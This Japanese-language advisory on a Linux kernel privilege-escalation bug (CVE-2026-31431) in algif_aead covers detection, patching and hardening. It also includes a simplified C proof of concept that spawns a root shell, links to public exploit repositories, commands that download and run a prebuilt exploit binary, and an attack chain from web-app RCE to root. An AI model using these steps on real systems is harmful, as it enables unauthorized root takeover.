分類: ローカル権限昇格 (LPE) — Linuxカーネル
CVSS: 7.8 (高)
影響:権限のないユーザー → root
影響を受けるモジュール:algif_aead(カーネルのAF_ALGサブシステム)
Linuxカーネルは、AF_ALG (ソケットファミリー AF_ALG) と呼ばれる暗号化インターフェースをユーザースペースに公開しています。このインターフェースにより、権限のないプロセスでも、rootを必要とせずにカーネルの暗号化アクセラレータ — 暗号化、ハッシュ、鍵生成 — を使用できます。
そのモジュールの1つが algif_aead で、AES-GCMやChaCha20-Poly1305などのアルゴリズムで使用されるAEAD (Authenticated Encryption with Associated Data) モードを実装しています。
バグは、出力バッファが予想よりも小さい場合に algif_aead が sendmsg() + recvmsg() 操作を処理する方法にあります。カーネルはサイズを正しく検証せずにコピー操作 (copy_to_user) を実行するため、次のような問題が発生します:
バッファオーバーフロー → カーネルメモリへの境界外書き込み
技術的には:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy がユーザーによって部分的に制御されたアドレスへ
この書き込み境界外 (write-out-of-bounds) により、メモリ上で隣接するカーネル制御構造 — 特に、関数ポインタや cred 構造体 — を上書きして、権限を昇格させることができます。
なぜなら、AF_ALG は権限のないユーザーでも利用できるからです。どのプロセスでも、事前の認証なしに AF_ALG ソケットを開いてデータを送信できます。このエクスプロイトには、補助的な脆弱性は一切必要ありません。
// これはシステム上のどのユーザーでも実行できます
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| カーネルバージョン | 影響あり? |
|---|---|
| < 5.10 | いいえ (モジュールはその形式では存在しなかった) |
| 5.10 — 6.1.x | はい ⚠️ |
| 6.2.x | はい ⚠️ (PoCのカーネルを含む) |
| 6.3+ パッチ適用済み | いいえ ✅ |
# カーネルバージョンの確認
uname -r
# 脆弱なモジュールがロードされているか確認
lsmod | grep algif_aead
# AF_ALGが利用可能か確認
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️
lsmodにalgif_aeadが表示され、カーネルがUbuntu 23.04の6.2.xの場合、危険にさらされています。
⚠️ 倫理的注意: このセクションは純粋に教育目的です。明示的な許可なくシステムを悪用することは違法であり、罰せられます。例は管理されたラボ環境を想定しています。
1. AF_ALGソケット (algif_aead) を開く
2. 過大なバッファで sendmsg() を送信
3. より小さいバッファで recvmsg() → バグのトリガー
4. カーネルヒープへのOOB書き込み
5. cred->uid/gid を 0 に上書き
6. execve("/bin/sh") → rootシェル
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// 16バイトの鍵を設定
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// 大きなバッファ → OOB書き込みのトリガー
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... ALG_OP_ENCRYPT を使用した cmsg による msghdr の構築
sendmsg(op_fd, &msg, 0);
// 不十分なバッファでの recvmsg → カーネルが境界外に書き込む
recv(op_fd, small_buf, sizeof(small_buf), 0);
// エクスプロイトが成功した場合、現在はroot
if (getuid() == 0) {
printf("[+] ルート取得!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
これは簡略化したスキームです。実際のエクスプロイトでは、OOB書き込みを
task_struct->cred構造体に合わせるための追加のヒープシェーピングプリミティブが必要です。
以下のリポジトリには、文書化された機能実装が含まれています:
copy-fail-c — 純粋なC言語のエクスプロイト、コンパイルが必要
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — スタンドアロンのELFバイナリ、コンパイル不要
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# copy-fail-c のクローンとコンパイル
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# 脆弱なシステムでの期待される結果:
# [*] algif_aead モジュールを確認中...
# [*] ヒープスプレーを準備中...
# [+] OOB書き込み成功
# [+] UID: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
外部の攻撃者
│
▼
Webアプリの脆弱性 (RCE) を悪用 → www-data としてアクセス
│
▼
copyfail をサーバーにアップロード (wget/curl)
│
▼
./copyfail を実行
│
▼
サーバー上でrootシェル ✓
www-data アクセスからrootまでの推定時間: 30秒未満。
唯一の本当の解決策は、パッチが適用されたカーネルを使用することです。
# オプション1: Ubuntu 24.04 LTS へのアップグレード (推奨)
do-release-upgrade
# オプション2: すでに Ubuntu 22.04 LTS を使用している場合
sudo apt update && sudo apt dist-upgrade
sudo reboot
# パッチ適用済みカーネルの確認
uname -r # Ubuntu 22.04 では 5.15.0-107 以上である必要があります
今すぐ更新できない場合は、algif_aead を無効にします:
# モジュールのブラックリストを作成
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# initramfs を再生成して永続化
sudo update-initramfs -u
# 再起動
sudo reboot
無効化されたことを確認:
lsmod | grep algif_aead
# 何も表示されないはず
⚠️ これにより、AF_ALG経由でAEAD暗号化を使用するソフトウェアが壊れる可能性があります (標準的なWebサーバーではまれです)。
# 権限のないユーザー名前空間を無効化 (Dockerの一部の機能が壊れます)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# 永続化
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
AF_ALG へのアクセスを拒否するAppArmorプロファイルを作成:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # 特定のプロファイルで拒否
Webプロセスの場合 (例: nginx/www-data):
# www-data または nginx のAppArmorプロファイルに追加
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
権限昇格自体は防げませんが、初期攻撃面を減らします:
# www-data に sudo がないことを確認
sudo grep www-data /etc/sudoers
# 不要なSUIDバイナリを削除
find / -perm -4000 2>/dev/null
# アクセス可能なディレクトリを制限
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431学術目的で作成された文書 — システム管理者エンジニア、2026
| ディストリビューション | 標準カーネル | パッチあり? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — パッチなし |
| Ubuntu 22.04 LTS | 5.15.x | ✅ パッチ適用済み |
| Ubuntu 24.04 LTS | 6.8.x | ✅ 影響なし |
| Debian 12 (Bookworm) | 6.1.x | ✅ パッチ適用済み |
| Arch Linux (2026-03+) | 6.8.x | ✅ 影響なし |
| 緩和策 | 効果 | サービスへの影響 | 永続的 |
|---|
| Ubuntu 24.04 への更新 | ✅ 完全 | 最小 | はい |
algif_aead のブラックリスト | ✅ 高い | 非常に低い | はい |
unprivileged_userns_clone=0 | 🟡 部分的 | 中程度 | はい |
| AppArmor AF_ALG 拒否 | ✅ 高い | 低い | はい |
| www-data のハードニング | 🟡 低減 | なし | はい |